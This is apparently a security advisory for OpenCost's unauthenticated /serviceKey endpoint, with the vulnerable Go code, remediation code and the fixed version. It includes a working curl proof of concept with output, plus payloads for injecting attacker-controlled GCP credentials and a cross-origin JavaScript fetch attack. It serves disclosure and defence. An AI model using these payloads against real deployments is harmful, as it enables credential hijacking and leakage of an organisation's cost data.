VDB
KO
HIGH

GHSA-wmj8-9953-vff5

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

Details

## Summary

OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.

---

## Affected Versions

- **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey`

---

## Vulnerability Details

### Root Cause

The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS

r.ParseForm()

key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) }

w.WriteHeader(http.StatusOK) } ```

**File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") }

func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) }

func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ```

### Security Issues

1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable

---

## Proof of Concept

### Environment Setup

#### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured

#### Step 1: Create Namespace

```bash kubectl create namespace opencost ```

**Output**: ``` namespace/opencost created ```

#### Step 2: Add OpenCost Helm Repository

```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ```

**Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ```

#### Step 3: Deploy OpenCost

```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ```

**Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations

**Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ```

#### Step 4: Verify Deployment

```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ```

**Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ```

#### Step 5: Verify Service Accessibility

```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ```

**Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ```

### Exploitation

#### Step 6: Check Initial State

```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ```

**Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ```

Note: File does not exist initially

#### Step 7: Verify CONFIG_PATH Configuration

```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ```

**Output**: ``` CONFIG_PATH=/tmp ```

Note: CONFIG_PATH correctly set to /tmp

#### Step 8: Execute Exploit

```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ```

**Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ```

**Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ```

Result: HTTP 200 OK - Request successful without authentication

#### Step 9: Verify File Write

```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ```

**Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ```

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file

---

## Impact Analysis

### Direct Impact

| Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content |

### Attack Scenario Analysis

#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption

**Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops

**Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ```

**Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials

**CVSS Impact Score**: Availability impact is Low (A:L)

---

#### Scenario 2: Malicious Credential Injection for Data Hijacking

**Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project

**Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com" }'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ```

**Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information

**Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction)

**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High

---

#### Scenario 3: Cross-Origin Attack (CORS Exploitation)

**Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack

**Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint

**Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ```

**Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network

---

### Vulnerability Limitations

**What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate

**Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed)

---

### Real-World Impact Assessment

| Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |

**Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High**

---

## Remediation

### Immediate Actions (P0)

#### 1. Add Authentication

```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return }

// ... existing logic } ```

#### 2. Implement Input Validation

```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") }

requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } }

if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") }

return nil } ```

#### 3. Restrict CORS

```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ```

### Long-term Solutions (P1)

1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions

---

## Workarounds

Until a patch is available, implement these mitigations:

1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible

---

## References

- **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)

Are you affected?

Enter the version of the package you're using.

Affected packages

Go / github.com/opencost/opencost
Introduced in: 0 Fixed in: 1.119.1
Fix go get github.com/opencost/opencost@v1.119.1

References